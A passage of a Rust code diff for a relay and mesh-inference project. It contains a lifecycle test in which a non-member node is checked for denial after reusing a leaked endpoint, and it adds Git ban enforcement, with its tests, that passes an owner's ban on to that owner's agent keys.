.api_port(STRANGER_API_PORT) + .console_port(STRANGER_CONSOLE_PORT) + .publish(false) + .auto_join(false) + .discovery_mode(MeshDiscoveryMode::Nostr) + .console_ui(true) + .startup_timeout(Duration::from_secs(180)) + .owner_key(env("MESH_OWNER_KEY")?) + .owner_required(true) + .build(); + let node = client::start(cfg).await?; + let _ = node.join_token(&leaked_endpoint).await; + + let http = reqwest::Client::new(); + let base = node.api_base_url().to_string(); + match wait_for_model(&http, &base, stranger_window()).await? { + Some(model) => { + println!("SEEN:{model}"); + match try_completion(&http, &base, &model).await { + Ok(content) => println!("INFER_OK:{content}"), + Err(error) => println!("INFER_FAIL:{error}"), + } + } + None => println!("NONE"), + } + let _ = node.stop().await; + std::process::exit(0); +} + +// ── Orchestrator ───────────────────────────────────────────────────────────── + +fn orchestrate() -> anyhow::Result<()> { + let model = std::env::var("MESH_SMOKE_MODEL").unwrap_or_else(|_| DEFAULT_MODEL.to_string()); + eprintln!("[lifecycle] model: {model}"); + let admin = + std::env::var("BUZZ_ADMIN_BIN").unwrap_or_else(|_| "target/ci/buzz-admin".to_string()); + anyhow::ensure!( + std::path::Path::new(&admin).exists(), + "buzz-admin binary not found at {admin} (set BUZZ_ADMIN_BIN)" + ); + + let scratch = std::env::temp_dir().join(format!("buzz-mesh-lifecycle-{}", std::process::id())); + std::fs::create_dir_all(&scratch)?; + + // Nostr identities: A (serve member), B (client member), C (stranger). + let member_a = Keys::generate(); + let member_b = Keys::generate(); + let stranger = Keys::generate(); + + // MeshLLM owner keystores, one per role. The orchestrator keeps the owner + // ids so the serve role can gate on the exact expected identity set. + let make_owner = |name: &str| -> anyhow::Result<(String, String)> { + let keypair = OwnerKeypair::generate(); + let path = scratch.join(format!("{name}.keystore.json")); + save_keystore(&path, &keypair, None, true) + .map_err(|error| anyhow::anyhow!("saving {name} keystore: {error}"))?; + Ok((path.display().to_string(), keypair.owner_id())) + }; + let (serve_key, serve_owner_id) = make_owner("serve")?; + let (client_key, client_owner_id) = make_owner("client")?; + let (stranger_key, _stranger_owner_id) = make_owner("stranger")?; + let expected_owners = format!("{serve_owner_id},{client_owner_id}"); + + // MEMBERSHIP: A and B become relay members via buzz-admin (publishes the + // kind:13534 roster snapshot). C is deliberately not added. + for (label, keys) in [("A", &member_a), ("B", &member_b)] { + let status = Command::new(&admin) + .args(["add-member", "--pubkey", &keys.public_key().to_hex()]) + .status()?; + anyhow::ensure!(status.success(), "buzz-admin add-member {label} failed"); + eprintln!( + "[lifecycle] member {label} added: {}", + keys.public_key().to_hex() + ); + } + + // Isolated HOMEs (mesh-llm keeps node identity under ~/.mesh-llm), with + // the native runtime + HF caches resolved from the real environment first. + let native_cache = std::env::var_os("MESH_LLM_NATIVE_RUNTIME_CACHE_DIR") + .map(std::path::PathBuf::from) + .unwrap_or(real_cache_dir()?.join("mesh-llm/native-runtimes")); + let hf_cache = std::env::var_os("HF_HUB_CACHE") + .map(std::path::PathBuf::from) + .unwrap_or(real_cache_dir()?.join("huggingface/hub")); + let role_home = |name: &str| -> anyhow::Result { + let home = scratch.join(format!("{name}-home")); + std::fs::create_dir_all(&home)?; + Ok(home.display().to_string()) + }; + + let exe = std::env::current_exe()?; + let secret_hex = |keys: &Keys| format!("{}", keys.secret_key().display_secret()); + + // SERVE child (member A). + eprintln!("[lifecycle] starting SERVE member (relay-derived allowlist)..."); + let mut serve_child = Command::new(&exe) + .env("MESH_ROLE", "serve") + .env("MESH_SMOKE_MODEL", &model) + .env("BUZZ_MEMBER_NSEC", secret_hex(&member_a)) + .env("MESH_OWNER_KEY", &serve_key) + .env("MESH_EXPECTED_OWNERS", &expected_owners) + .env("HOME", role_home("serve")?) + .env("MESH_LLM_NATIVE_RUNTIME_CACHE_DIR", &native_cache) + .env("HF_HUB_CACHE", &hf_cache) + .stdout(Stdio::piped()) + .stderr(Stdio::inherit()) + .spawn()?; + let serve_lines = spawn_line_reader( + serve_child + .stdout + .take() + .ok_or_else(|| anyhow::anyhow!("no serve stdout"))?, + ); + let serve_guard = KillOnDrop(&mut serve_child); + expect_line(&serve_lines, "STATUS_PUBLISHED", Duration::from_secs(180))?; + eprintln!("[lifecycle] serve member published its discovery note"); + + // CLIENT child (member B) — started now so the serve node can see B's + // owner binding on the relay and admit it. stdin stays piped for the + // post-attack VERIFY_AGAIN request. + eprintln!("[lifecycle] starting CLIENT member (relay-driven join)..."); + let mut client_child = Command::new(&exe) + .env("MESH_ROLE", "client") + .env("BUZZ_MEMBER_NSEC", secret_hex(&member_b)) + .env("MESH_OWNER_KEY", &client_key) + .env("HOME", role_home("client")?) + .env("MESH_LLM_NATIVE_RUNTIME_CACHE_DIR", &native_cache) + .env("HF_HUB_CACHE", &hf_cache) + .stdin(Stdio::piped()) + .stdout(Stdio::piped()) + .stderr(Stdio::inherit()) + .spawn()?; + let client_lines = spawn_line_reader( + client_child + .stdout + .take() + .ok_or_else(|| anyhow::anyhow!("no client stdout"))?, + ); + let mut client_stdin = client_child + .stdin + .take() + .ok_or_else(|| anyhow::anyhow!("no client stdin"))?; + let client_guard = KillOnDrop(&mut client_child); + + let allowlist = expect_line(&serve_lines, "ALLOWLIST:", Duration::from_secs(300))?; + anyhow::ensure!( + allowlist.split(',').map(str::trim).collect::>() + == BTreeSet::from([serve_owner_id.as_str(), client_owner_id.as_str()]), + "LIFECYCLE FAIL: serve allowlist {allowlist} is not exactly the expected member owners" + ); + eprintln!("[lifecycle] PASS 1/6: relay-derived allowlist is exactly {{A, B}}: {allowlist}"); + let endpoint = expect_line(&serve_lines, "ENDPOINT:", Duration::from_secs(600))?; + eprintln!("[lifecycle] serve endpoint acquired (relay advertisement lands with READY)"); + let served = expect_line(&serve_lines, "READY:", Duration::from_secs(900))?; + eprintln!("[lifecycle] PASS 2/6: serve member ready + advertised model: {served}"); + + // Client verdict: discovery + join + first inference. + let (which, seen) = expect_one_of(&client_lines, &["SEEN:", "NONE"], Duration::from_secs(900))?; + anyhow::ensure!( + which == "SEEN:", + "LIFECYCLE FAIL: client member never saw the model via relay-driven join" + ); + eprintln!("[lifecycle] PASS 3/6: client member discovered + joined via relay, sees: {seen}"); + let (which, detail) = expect_one_of( + &client_lines, + &["INFER_OK:", "INFER_FAIL:"], + Duration::from_secs(180), + )?; + anyhow::ensure!( + which == "INFER_OK:", + "LIFECYCLE FAIL: client saw the model but inference did not route: {detail}" + ); + eprintln!("[lifecycle] PASS 4/6: inference routed over the mesh: {detail:?}"); + + // STRANGER child (C): must be denied by the relay's membership gate and + // must not route inference through the mesh. + eprintln!("[lifecycle] starting STRANGER (non-member, leaked endpoint)..."); + let mut stranger_child = Command::new(&exe) + .env("MESH_ROLE", "stranger") + .env("BUZZ_MEMBER_NSEC", secret_hex(&stranger)) + .env("MESH_OWNER_KEY", &stranger_key) + .env("MESH_LEAKED_ENDPOINT", &endpoint) + .env("HOME", role_home("stranger")?) + .env("MESH_LLM_NATIVE_RUNTIME_CACHE_DIR", &native_cache) + .env("HF_HUB_CACHE", &hf_cache) + .stdout(Stdio::piped()) + .stderr(Stdio::inherit()) + .spawn()?; + let stranger_lines = spawn_line_reader( + stranger_child + .stdout + .take() + .ok_or_else(|| anyhow::anyhow!("no stranger stdout"))?, + ); + let stranger_guard = KillOnDrop(&mut stranger_child); + + // Relay leg: only the relay's own membership rejection counts as denied. + let (which, detail) = expect_one_of( + &stranger_lines, + &["RELAY_DENIED_MEMBERSHIP", "RELAY_AUTH_OK:", "RELAY_ERR:"], + Duration::from_secs(120), + )?; + match which { + "RELAY_DENIED_MEMBERSHIP" => { + eprintln!("[lifecycle] PASS 5/6: relay rejected the stranger's NIP-42 auth (membership gate)"); + } + "RELAY_AUTH_OK:" => anyhow::bail!( + "LIFECYCLE FAIL: membership-gated relay authenticated a non-member (saw {detail} statuses)" + ), + _ => anyhow::bail!( + "LIFECYCLE INCONCLUSIVE: stranger relay connect failed for a non-membership reason: {detail}" + ), + } + + // Mesh leg: the stranger must not complete an inference. + let (which, detail) = expect_one_of( + &stranger_lines, + &["SEEN:", "NONE"], + stranger_window() + Duration::from_secs(300), + )?; + let stranger_infer = if which == "SEEN:" { + let model = detail; + let (verdict, body) = expect_one_of( + &stranger_lines, + &["INFER_OK:", "INFER_FAIL:"], + Duration::from_secs(180), + )?; + anyhow::ensure!( + verdict != "INFER_OK:", + "LIFECYCLE FAIL: stranger reused the leaked endpoint and inferred through {model}: {body:?}" + ); + format!("saw gossip for {model} but inference was rejected: {body}") + } else { + "saw no routed model".to_string() + }; + // Defuse the kill-guard (the stranger exits on its own after its verdict); + // dropping it here would SIGKILL the child before we can read its status. + std::mem::forget(stranger_guard); + let stranger_status = wait_child(&mut stranger_child, Duration::from_secs(60), "stranger")?; + anyhow::ensure!( + stranger_status.success(), + "LIFECYCLE INCONCLUSIVE: stranger child exited with {stranger_status}" + ); + + // Differential health proof: the trusted client must still route + // inference *after* the stranger's attempt. Without this, a serve node + // that died mid-run would make the stranger's failure look like a denial. + client_stdin.write_all(format!("{VERIFY_AGAIN}\n").as_bytes())?; + client_stdin.flush()?; + let (which, detail) = expect_one_of( + &client_lines, + &["INFER_AGAIN_OK:", "INFER_AGAIN_FAIL:"], + Duration::from_secs(180), + )?; + anyhow::ensure!( + which == "INFER_AGAIN_OK:", + "LIFECYCLE FAIL: trusted client could not infer after the stranger's attempt \ + (serve node unhealthy — stranger denial is inconclusive): {detail}" + ); + eprintln!( + "[lifecycle] PASS 6/6: stranger denied ({stranger_infer}) while trusted inference \ + still routes: {detail:?}" + ); + + eprintln!("[lifecycle] PASS: full relay-driven mesh lifecycle verified"); + drop(client_guard); + let _ = wait_child(&mut client_child, Duration::from_secs(60), "client"); + drop(serve_guard); + let _ = serve_child.wait(); + let _ = std::fs::remove_dir_all(&scratch); + Ok(()) +} + +// ── Child-process plumbing ─────────────────────────────────────────────────── + +/// Lines from a child's stdout, pumped by a dedicated reader thread so waits +/// can enforce hard deadlines (`BufRead::lines` alone blocks indefinitely). +struct ChildLines { + rx: mpsc::Receiver>, +} + +fn spawn_line_reader(stdout: ChildStdout) -> ChildLines { + let (tx, rx) = mpsc::channel(); + std::thread::spawn(move || { + for line in std::io::BufReader::new(stdout).lines() { + if tx.send(line).is_err() { + break; + } + } + }); + ChildLines { rx } +} + +/// Wait (with a hard deadline) for a line starting with `prefix`; returns the +/// suffix. Non-matching lines are skipped. +fn expect_line(lines: &ChildLines, prefix: &str, timeout: Duration) -> anyhow::Result { + expect_one_of(lines, &[prefix], timeout).map(|(_, rest)| rest) +} + +/// Wait (with a hard deadline) for a line starting with any of `prefixes`; +/// returns the matched prefix and the suffix. +fn expect_one_of<'a>( + lines: &ChildLines, + prefixes: &[&'a str], + timeout: Duration, +) -> anyhow::Result<(&'a str, String)> { + let deadline = Instant::now() + timeout; + loop { + let remaining = deadline + .checked_duration_since(Instant::now()) + .ok_or_else(|| anyhow::anyhow!("timed out waiting for one of {prefixes:?}"))?; + match lines.rx.recv_timeout(remaining) { + Ok(Ok(line)) => { + for prefix in prefixes { + if let Some(rest) = line.strip_prefix(prefix) { + return Ok((prefix, rest.to_string())); + } + } + } + Ok(Err(error)) => { + anyhow::bail!("child stdout read error before {prefixes:?}: {error}") + } + Err(mpsc::RecvTimeoutError::Timeout) => { + anyhow::bail!("timed out waiting for one of {prefixes:?}") + } + Err(mpsc::RecvTimeoutError::Disconnected) => { + anyhow::bail!("child exited before printing one of {prefixes:?}") + } + } + } +} + +/// Wait for a child to exit, killing it if the deadline passes. +fn wait_child(child: &mut Child, timeout: Duration, label: &str) -> anyhow::Result { + let deadline = Instant::now() + timeout; + loop { + if let Some(status) = child.try_wait()? { + return Ok(status); + } + if Instant::now() > deadline { + let _ = child.kill(); + let _ = child.wait(); + anyhow::bail!("{label} child exceeded {timeout:?} and was killed"); + } + std::thread::sleep(Duration::from_millis(200)); + } +} + +/// Kill the child on drop so a failed assertion never leaks a process. +struct KillOnDrop<'a>(&'a mut Child); +impl Drop for KillOnDrop<'_> { + fn drop(&mut self) { + let _ = self.0.kill(); + } +} + +/// The real user's OS cache dir, resolved before HOME is overridden for the +/// child processes. +fn real_cache_dir() -> anyhow::Result { + let home = std::env::var("HOME").map_err(|_| anyhow::anyhow!("HOME is not set"))?; + #[cfg(target_os = "macos")] + return Ok(std::path::PathBuf::from(home).join("Library/Caches")); + #[cfg(not(target_os = "macos"))] + return Ok(std::path::PathBuf::from(home).join(".cache")); +} + +/// Poll `/models` until a model id appears or the window closes. +async fn wait_for_model( + http: &reqwest::Client, + api_base: &str, + window: Duration, +) -> anyhow::Result> { + let url = format!("{api_base}/models"); + let deadline = Instant::now() + window; + while Instant::now() < deadline { + tokio::time::sleep(Duration::from_secs(3)).await; + if let Ok(resp) = http.get(&url).send().await { + let body = resp.text().await.unwrap_or_default(); + if let Ok(json) = serde_json::from_str::(&body) { + if let Some(id) = json["data"].get(0).and_then(|m| m["id"].as_str()) { + return Ok(Some(id.to_string())); + } + } + } + } + Ok(None) +} + +/// One chat completion against a node's OpenAI endpoint; Ok(content) only if +/// it really routed and produced non-empty output. +async fn try_completion( + http: &reqwest::Client, + api_base: &str, + model: &str, +) -> anyhow::Result { + let resp = http + .post(format!("{api_base}/chat/completions")) + .timeout(Duration::from_secs(120)) + .json(&serde_json::json!({ + "model": model, + "messages": [{"role": "user", "content": "Reply with exactly one word: PONG"}], + "max_tokens": 16, + "temperature": 0.0 + })) + .send() + .await?; + let status = resp.status(); + let body = resp.text().await?; + if !status.is_success() { + anyhow::bail!("{status}: {body}"); + } + let content = serde_json::from_str::(&body)?["choices"][0]["message"] + ["content"] + .as_str() + .unwrap_or("") + .to_string(); + if content.trim().is_empty() { + anyhow::bail!("empty content"); + } + Ok(content) +} diff --git a/crates/buzz-relay/src/api/git/cas_publish.rs b/crates/buzz-relay/src/api/git/cas_publish.rs index c213e2913e..50bb36d818 100644 --- a/crates/buzz-relay/src/api/git/cas_publish.rs +++ b/crates/buzz-relay/src/api/git/cas_publish.rs @@ -1370,6 +1370,15 @@ mod tests { ); } + #[test] + fn published_head_moves_to_surviving_branch_after_current_branch_deletion() { + let refs = BTreeMap::from([("refs/heads/master".to_string(), "1".repeat(40))]); + assert_eq!( + resolve_published_head(&refs, "refs/heads/main".to_string(), "refs/heads/main"), + "refs/heads/master" + ); + } + #[test] fn digest_from_key_strips_prefix() { let k = format!("manifests/{}", "a".repeat(64)); diff --git a/crates/buzz-relay/src/api/git/transport.rs b/crates/buzz-relay/src/api/git/transport.rs index 11c4f6d35b..53e3f59463 100644 --- a/crates/buzz-relay/src/api/git/transport.rs +++ b/crates/buzz-relay/src/api/git/transport.rs @@ -224,10 +224,95 @@ impl axum::extract::FromRequestParts> for GitAuth { return Err((StatusCode::FORBIDDEN, "restricted: not a relay member").into_response()); } + deny_banned_git_principal(&state.db, tenant.community(), &pubkey, auth_tag).await?; + Ok(GitAuth { pubkey, tenant }) } } +/// Deny banned principals on every Git HTTP request. +/// +/// Git runs outside the WebSocket authentication path, so a valid NIP-98 +/// credential and channel membership are not enough — neither reflects a +/// moderation ban. Git credentials are also deliberately reused across a +/// session (see the replay notes above), so no session expiry would close the +/// gap on its own. Re-read the durable ban per request instead. +/// +/// Cascades to the proven NIP-OA owner, matching the NIP-42 gate in +/// `handlers::auth`: banning a human must also revoke their agents, or the ban +/// is bypassable by cloning and pushing through an agent key. +async fn deny_banned_git_principal( + db: &buzz_db::Db, + community: buzz_core::CommunityId, + pubkey: &nostr::PublicKey, + auth_tag: Option<&str>, +) -> Result<(), Response> { + let agent = git_restriction_state(db, community, pubkey).await?; + + // Skip the owner read when the agent is already banned: the denial is + // identical either way. Mirrors the WebSocket cascade's short-circuit. + let owner = if agent.banned { + None + } else { + crate::api::relay_members::extract_nip_oa_owner(pubkey.as_bytes(), auth_tag) + }; + let owner_state = match owner { + Some(owner) => Some(git_restriction_state(db, community, &owner).await?), + None => None, + }; + + enforce_git_ban_cascade(&agent, owner_state.as_ref()).map_err(|status| { + warn!( + pubkey = %pubkey.to_hex(), + owner = ?owner.map(|owner| owner.to_hex()), + "git: community ban denied request" + ); + (status, "blocked: banned from this community").into_response() + }) +} + +/// One restriction read, failing closed with 503. +/// +/// A restriction-store outage must not be reported to the client as a +/// permission decision — 503 says "retry", 403 would claim a ban that was +/// never read. +async fn git_restriction_state( + db: &buzz_db::Db, + community: buzz_core::CommunityId, + pubkey: &nostr::PublicKey, +) -> Result { + db.moderation_restriction_state(community, pubkey.as_bytes()) + .await + .map_err(|error| { + warn!(pubkey = %pubkey.to_hex(), error = %error, "git: ban lookup failed closed"); + (StatusCode::SERVICE_UNAVAILABLE, "authorization unavailable").into_response() + }) +} + +fn enforce_git_ban(restriction: &buzz_db::moderation::RestrictionState) -> Result<(), StatusCode> { + if restriction.banned { + Err(StatusCode::FORBIDDEN) + } else { + Ok(()) + } +} + +/// Either principal's ban denies the request; `None` owner means no attested +/// owner to inherit from. +/// +/// Split from the DB reads so agent→owner precedence stays unit-testable +/// without Postgres. +fn enforce_git_ban_cascade( + agent: &buzz_db::moderation::RestrictionState, + owner: Option<&buzz_db::moderation::RestrictionState>, +) -> Result<(), StatusCode> { + enforce_git_ban(agent)?; + match owner { + Some(owner) => enforce_git_ban(owner), + None => Ok(()), + } +} + /// Construct the repo-root NIP-98 `u` URL expected for a git HTTP request. /// /// The host is always the server-resolved tenant host. `config_relay_url` only @@ -1064,7 +1149,7 @@ pub async fn receive_pack( state.config.bind_addr.port() ); let hooks_dir = repo.path().join("hooks").display().to_string(); - let hook_env = vec![ + let mut hook_env = vec![ ("BUZZ_HOOK_URL", hook_url), ( "BUZZ_HOOK_SECRET", @@ -1077,13 +1162,8 @@ pub async fn receive_pack( auth.tenant.community().as_uuid().to_string(), ), ("BUZZ_PUSHER_PUBKEY", pusher_hex.clone()), - // Override any repo-local core.hooksPath setting; defense in - // depth even though the hydrated workspace has no inherited - // config. - ("GIT_CONFIG_COUNT", "1".to_string()), - ("GIT_CONFIG_KEY_0", "core.hooksPath".to_string()), - ("GIT_CONFIG_VALUE_0", hooks_dir), ]; + hook_env.extend(receive_pack_git_config(hooks_dir)); // Run receive-pack against the tempdir. Returns the *owned* subprocess // output (PackOutput) — crucially NOT a Response, so the post-push @@ -1111,6 +1191,23 @@ pub async fn receive_pack( Ok(finalize_push(&state, ctx).await) } +/// Per-process git configuration for the hydrated receive-pack workspace. +fn receive_pack_git_config(hooks_dir: String) -> Vec<(&'static str, String)> { + vec![ + // Override any repo-local core.hooksPath setting; defense in depth + // even though the hydrated workspace has no inherited config. + ("GIT_CONFIG_COUNT", "2".to_string()), + ("GIT_CONFIG_KEY_0", "core.hooksPath".to_string()), + ("GIT_CONFIG_VALUE_0", hooks_dir), + // A bare repository rejects deletion of its symbolic HEAD branch by + // default. Hydrated repositories are ephemeral, and cas_publish + // selects a surviving branch for the next manifest HEAD, so allow + // receive-pack to apply the deletion before that selection runs. + ("GIT_CONFIG_KEY_1", "receive.denyDeleteCurrent".to_string()), + ("GIT_CONFIG_VALUE_1", "ignore".to_string()), + ] +} + /// Buffered output of a `git --stateless-rpc` subprocess. /// /// The handler holds this as an owned value between subprocess completion @@ -1921,11 +2018,148 @@ mod track_c_tests { use buzz_core::CommunityId; use nostr::{EventBuilder, Keys, Kind, Tag}; use std::collections::BTreeMap; + use std::io::Write; + use std::process::Output; fn oid_sha1() -> String { "cb09a769da1c01f458fa6959d4e8eded38fac8d3".to_string() } + fn run_test_git(cwd: &Path, args: &[&str], extra_env: &[(&str, String)]) -> Output { + let mut cmd = std::process::Command::new("git"); + cmd.current_dir(cwd) + .args(args) + .env_clear() + .env("PATH", std::env::var("PATH").unwrap_or_default()) + .env("GIT_CONFIG_NOSYSTEM", "1") + .env("GIT_CONFIG_GLOBAL", "/dev/null") + .env("HOME", "/dev/null"); + for (key, value) in extra_env { + cmd.env(key, value); + } + cmd.output().expect("run git") + } + + fn run_test_receive_pack(repo: &Path, request: &[u8], extra_env: &[(&str, String)]) -> Output { + let mut cmd = std::process::Command::new("git"); + cmd.arg("receive-pack") + .arg("--stateless-rpc") + .arg(repo) + .stdin(std::process::Stdio::piped()) + .stdout(std::process::Stdio::piped()) + .stderr(std::process::Stdio::piped()) + .env_clear() + .env("PATH", std::env::var("PATH").unwrap_or_default()) + .env("GIT_CONFIG_NOSYSTEM", "1") + .env("GIT_CONFIG_GLOBAL", "/dev/null") + .env("HOME", "/dev/null"); + for (key, value) in extra_env { + cmd.env(key, value); + } + + let mut child = cmd.spawn().expect("spawn receive-pack"); + child + .stdin + .take() + .expect("receive-pack stdin") + .write_all(request) + .expect("write receive-pack request"); + child.wait_with_output().expect("wait for receive-pack") + } + + fn assert_git_success(output: Output, operation: &str) { + assert!( + output.status.success(), + "{operation} failed: {}", + String::from_utf8_lossy(&output.stderr) + ); + } + + #[test] + fn receive_pack_config_allows_deleting_current_branch() { + let root = tempfile::TempDir::new().expect("tempdir"); + let remote = root.path().join("remote.git"); + let source = root.path().join("source"); + let remote_arg = remote.to_str().expect("utf-8 remote path"); + let source_arg = source.to_str().expect("utf-8 source path"); + + assert_git_success( + run_test_git( + root.path(), + &["init", "--bare", "--initial-branch=main", remote_arg], + &[], + ), + "initialize bare remote", + ); + assert_git_success( + run_test_git( + root.path(), + &["init", "--initial-branch=main", source_arg], + &[], + ), + "initialize source repository", + ); + assert_git_success( + run_test_git(source.as_path(), &["config", "user.name", "Buzz Test"], &[]), + "configure user name", + ); + assert_git_success( + run_test_git( + source.as_path(), + &["config", "user.email", "buzz-test@example.com"], + &[], + ), + "configure user email", + ); + std::fs::write(source.join("README.md"), "test\n").expect("write fixture"); + assert_git_success( + run_test_git(source.as_path(), &["add", "README.md"], &[]), + "stage fixture", + ); + assert_git_success( + run_test_git(source.as_path(), &["commit", "-m", "fixture"], &[]), + "commit fixture", + ); + assert_git_success( + run_test_git( + source.as_path(), + &["push", remote_arg, "main:main", "main:master"], + &[], + ), + "seed main and master", + ); + + let oid_output = run_test_git(remote.as_path(), &["rev-parse", "refs/heads/main"], &[]); + assert!(oid_output.status.success()); + let old_oid = String::from_utf8(oid_output.stdout) + .expect("utf-8 oid") + .trim() + .to_string(); + let command = format!( + "{old_oid} {} refs/heads/main\0report-status\n", + "0".repeat(40) + ); + let mut request = format!("{:04x}", command.len() + 4).into_bytes(); + request.extend_from_slice(command.as_bytes()); + request.extend_from_slice(b"0000"); + + let git_config = receive_pack_git_config(remote.join("hooks").display().to_string()); + let output = run_test_receive_pack(remote.as_path(), &request, &git_config); + assert!( + output.status.success(), + "receive-pack failed: {}", + String::from_utf8_lossy(&output.stderr) + ); + assert!( + !receive_pack_report_rejected(&output.stdout), + "receive-pack rejected the deletion: {}", + String::from_utf8_lossy(&output.stdout) + ); + + assert!(!remote.join("refs/heads/main").exists()); + assert!(remote.join("refs/heads/master").exists()); + } + /// A gzip-encoded request body is transparently inflated before it /// reaches the git subprocess. Git's smart-HTTP client gzips the /// upload-pack/receive-pack request body past a size threshold (fires @@ -2461,6 +2695,76 @@ mod sec005_read_gate_tests { assert!(!read_role_allows(Some("")), "empty role must deny"); } + #[test] + fn durable_ban_denies_git_even_with_otherwise_valid_auth() { + let restriction = buzz_db::moderation::RestrictionState { + banned: true, + muted_until: None, + }; + + assert_eq!(enforce_git_ban(&restriction), Err(StatusCode::FORBIDDEN)); + } + + #[test] + fn timeout_without_ban_does_not_revoke_git_access() { + let restriction = buzz_db::moderation::RestrictionState { + banned: false, + muted_until: Some(chrono::Utc::now()), + }; + + assert_eq!(enforce_git_ban(&restriction), Ok(())); + } + + fn restriction(banned: bool) -> buzz_db::moderation::RestrictionState { + buzz_db::moderation::RestrictionState { + banned, + muted_until: None, + } + } + + // ── Agent → owner ban cascade ──────────────────────────────────────── + // + // Git accepts NIP-OA attestations on the signed NIP-98 token, so an agent + // key can act for its owner (`deny_banned_git_principal`). The NIP-42 gate + // in `handlers::auth` cascades the ban check to the proven owner for that + // reason, and Git must agree: if only the presented key were checked, a + // banned human would keep clone and push access through any agent key. + + #[test] + fn banned_owner_denies_git_for_an_otherwise_clear_agent() { + assert_eq!( + enforce_git_ban_cascade(&restriction(false), Some(&restriction(true))), + Err(StatusCode::FORBIDDEN), + "an agent must inherit its proven owner's ban" + ); + } + + #[test] + fn banned_agent_denies_git_whatever_the_owner_state() { + for owner in [None, Some(restriction(false)), Some(restriction(true))] { + assert_eq!( + enforce_git_ban_cascade(&restriction(true), owner.as_ref()), + Err(StatusCode::FORBIDDEN), + "a directly banned agent must be denied" + ); + } + } + + #[test] + fn clear_agent_and_clear_owner_allow_git() { + assert_eq!( + enforce_git_ban_cascade(&restriction(false), Some(&restriction(false))), + Ok(()) + ); + } + + #[test] + fn clear_agent_without_attested_owner_allows_git() { + // No NIP-OA tag on the request: nothing to inherit, so the agent's own + // state decides. A missing owner must not read as a ban. + assert_eq!(enforce_git_ban_cascade(&restriction(false), None), Ok(())); + } + fn announcement(keys: &Keys, tags: Vec) -> nostr::Event { EventBuilder::new(Kind::Custom(30617), "") .tags(tags) @@ -2795,10 +3099,18 @@ mod sec005_read_gate_tests { ); let owner_pk = f.owner_keys.public_key().to_bytes().to_vec(); + // Tombstone timestamped after the announcement, per NIP-09's + // at-or-before scoping in `soft_delete_by_coordinate`. let deleted = - f.db.soft_delete_by_coordinate(f.community, 30617, &owner_pk, &f.repo) - .await - .expect("soft delete 30617"); + f.db.soft_delete_by_coordinate( + f.community, + 30617, + &owner_pk, + &f.repo, + chrono::Utc::now().timestamp() + 60, + ) + .await + .expect("soft delete 30617"); assert!(deleted, "precondition: a live announcement row was deleted"); assert!( @@ -2808,4 +3120,129 @@ mod sec005_read_gate_tests { "deleted announcement must deny reads even for channel members" ); } + + // ── Ban gate wiring (requires Postgres) ────────────────────────────── + // + // The pure tests above fix the decision table; these prove the gate is + // actually wired to the durable store — that it reads the real ban row, + // resolves the NIP-OA owner from a live attestation, and fails closed when + // the store is unreachable. `deny_banned_git_principal` runs inside the + // `GitAuth` extractor, which every Git route (`info/refs`, `git-upload-pack`, + // `git-receive-pack`) goes through, so advertise, fetch and push all + // inherit these outcomes. + + /// Community + a ban actor, without the channel/repo fixture the read-gate + /// tests need — the ban gate runs before any repo is resolved. + async fn setup_ban_community() -> (buzz_db::Db, buzz_core::CommunityId, Vec) { + let db = setup_db().await; + let host = format!("ban-git-{}.example", uuid::Uuid::new_v4().simple()); + let community = db + .ensure_configured_community(&host) + .await + .expect("community") + .id; + let actor = Keys::generate().public_key().to_bytes().to_vec(); + db.ensure_user(community, &actor).await.expect("actor"); + (db, community, actor) + } + + #[tokio::test] + #[ignore = "requires Postgres"] + async fn ban_gate_denies_banned_member_and_allows_clear_member() { + let (db, community, actor) = setup_ban_community().await; + let member = Keys::generate(); + let member_pk = member.public_key().to_bytes().to_vec(); + db.ensure_user(community, &member_pk).await.expect("member"); + + assert!( + deny_banned_git_principal(&db, community, &member.public_key(), None) + .await + .is_ok(), + "precondition: an unbanned member passes the git ban gate" + ); + + db.ban_community_member(community, &member_pk, &actor, Some("test"), None) + .await + .expect("ban"); + + let (status, body) = denial_parts( + deny_banned_git_principal(&db, community, &member.public_key(), None).await, + ) + .await; + assert_eq!(status, StatusCode::FORBIDDEN); + assert_eq!(body, "blocked: banned from this community"); + } + + #[tokio::test] + #[ignore = "requires Postgres"] + async fn ban_gate_cascades_to_a_banned_nip_oa_owner() { + let (db, community, actor) = setup_ban_community().await; + let owner = Keys::generate(); + let agent = Keys::generate(); + let owner_pk = owner.public_key().to_bytes().to_vec(); + let agent_pk = agent.public_key().to_bytes().to_vec(); + db.ensure_user(community, &owner_pk).await.expect("owner"); + db.ensure_user(community, &agent_pk).await.expect("agent"); + + // A real attestation: the gate must verify it, not trust a claim. + let auth_tag = buzz_sdk::nip_oa::compute_auth_tag(&owner, &agent.public_key(), "kind=9") + .expect("auth tag"); + + assert!( + deny_banned_git_principal(&db, community, &agent.public_key(), Some(&auth_tag)) + .await + .is_ok(), + "precondition: neither agent nor owner is banned" + ); + + // Ban the human only. The agent's own row stays clear. + db.ban_community_member(community, &owner_pk, &actor, Some("test"), None) + .await + .expect("ban owner"); + + let (status, _) = denial_parts( + deny_banned_git_principal(&db, community, &agent.public_key(), Some(&auth_tag)).await, + ) + .await; + assert_eq!( + status, + StatusCode::FORBIDDEN, + "banning the owner must revoke its agent's git access" + ); + + // An unattested request from the same agent key is unaffected: the + // cascade must follow a verified owner, not punish every agent. + assert!( + deny_banned_git_principal(&db, community, &agent.public_key(), None) + .await + .is_ok(), + "without an attestation there is no owner to inherit from" + ); + } + + #[tokio::test] + #[ignore = "requires Postgres"] + async fn ban_gate_fails_closed_with_503_when_the_store_is_unreachable() { + let url = std::env::var("BUZZ_TEST_DATABASE_URL") + .or_else(|_| std::env::var("DATABASE_URL")) + .unwrap_or_else(|_| TEST_DB_URL.to_string()); + let pool = sqlx::PgPool::connect(&url).await.expect("connect test DB"); + let db = buzz_db::Db::from_pool(pool.clone()); + + // Closing the pool is the cheapest faithful stand-in for the + // restriction store being unavailable mid-request. + pool.close().await; + + let community = buzz_core::CommunityId::from_uuid(uuid::Uuid::new_v4()); + let (status, body) = denial_parts( + deny_banned_git_principal(&db, community, &Keys::generate().public_key(), None).await, + ) + .await; + assert_eq!( + status, + StatusCode::SERVICE_UNAVAILABLE, + "a store outage must deny as retryable, never allow and never claim a 403" + ); + assert_eq!(body, "authorization unavailable"); + } } diff --git a/crates/buzz-relay/src/config.rs b/crates/buzz-relay/src/config.rs index 4182354f4c..6d31a8cc90 100644 --- a/crates/buzz-relay/src/config.rs +++ b/crates/buzz-relay/src/config.rs @@ -103,6 +103,10 @@ pub struct JoinPolicyConfig { pub version: String, } +/// Maximum configured jitter, leaving ten 